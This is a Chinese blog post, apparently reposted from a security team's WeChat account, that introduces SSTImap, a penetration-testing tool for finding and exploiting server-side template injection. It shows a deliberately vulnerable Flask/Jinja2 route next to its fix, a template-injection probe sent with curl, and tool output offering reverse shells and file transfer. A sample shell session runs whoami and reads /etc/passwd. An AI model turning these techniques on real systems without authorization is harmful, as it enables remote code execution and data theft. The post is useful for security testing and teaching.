前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >神兵利器 - 具有交互式界面的自动 SSTI 检测工具

神兵利器 - 具有交互式界面的自动 SSTI 检测工具

作者头像
Khan安全团队
发布2023-02-23 14:43:46
6460
发布2023-02-23 14:43:46
举报
文章被收录于专栏:Khan安全团队Khan安全团队

SSTImap 是一种渗透测试软件,可以检查网站是否存在代码注入和服务器端模板注入漏洞并加以利用,从而提供对操作系统本身的访问权限。

该工具被开发用作 SSTI 检测和利用的交互式渗透测试工具,允许更高级的利用。

沙盒突破技术来自:

  • James Kett 的服务器端模板注入:现代 Web 应用程序的 RCE

该工具能够利用一些代码上下文转义和盲注场景。它还支持在 Python、Ruby、PHP、Java 和通用非沙盒模板引擎中注入类似于 eval()的代码。

与 Tplmap 的区别

尽管此软件基于 Tplmap 的代码,但不提供向后兼容性。

  • 交互模式 ( -i) 允许更容易的利用和检测
  • 基本语言eval() -like shell ( -x) 或单个命令 ( -X) 执行
  • 在没有启用的情况下为Smarty添加了新的有效负载{php}{/php}。旧有效载荷可作为Smarty_unsecure.
  • 用户代理可以从桌面浏览器代理列表中随机选择,使用-A
  • 现在可以使用启用 SSL 验证-V
  • 添加到所有参数的简短版本
  • 一些旧的命令行参数已更改,请-h查看帮助
  • 代码已更改为使用更新的 python 功能
  • 暂时删除了 Burp Suite 扩展,因为Jython不支持 Python3

服务器端模板注入

这是一个使用Flask框架和Jinja2模板引擎用 Python 编写的简单网站示例。它以不安全的方式集成了用户提供的变量name,因为它在呈现之前连接到模板字符串。

代码语言:javascript
复制
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

这种使用模板的方式不仅会产生 XSS 漏洞,而且还允许攻击者注入模板代码,该代码将在服务器上执行,从而导致 SSTI。

代码语言:javascript
复制
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

用户提供的输入应该通过渲染上下文以安全的方式引入:

代码语言:javascript
复制
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":

app.run(host='0.0.0.0', port=80)
代码语言:javascript
复制


预设模式
预定模式下的 SSTImap 与 Tplmap 非常相似。它能够检测和利用多个不同模板中的 SSTI 漏洞。
利用后,SSTImap 可以提供对代码评估、操作系统命令执行和文件系统操作的访问。
要检查 URL,您可以使用-u参数:
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

使用--os-shell选项在目标上启动伪终端。

代码语言:javascript
复制
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 0.6#dev
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

互动模式

在交互模式下,命令用于与 SSTImap 交互。要进入交互模式,您可以使用-i参数。所有其他参数,除了关于利用负载的参数,都将用作设置的初始值。

一些命令用于在测试运行之间更改设置。要运行测试,必须通过初始-u参数或url命令提供目标 URL。之后,您可以使用run命令检查 SSTI 的 URL。

如果发现 SSTI,则可以使用命令开始利用。您可以获得与预定模式相同的利用能力,但您可以Ctrl+C在不停止程序的情况下中止它们。

顺便说一句,测试结果在目标 url 更改之前一直有效,因此您可以轻松地在漏洞利用方法之间切换,而无需每次都运行检测测试。

要获得完整的交互命令列表,请help在交互模式下使用命令。

支持的模板引擎

SSTImap 支持多个模板引擎和类似eval()的注入。

https://github.com/vladko312/SSTImap

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-01-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 与 Tplmap 的区别
  • 服务器端模板注入
  • 互动模式
  • 支持的模板引擎
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档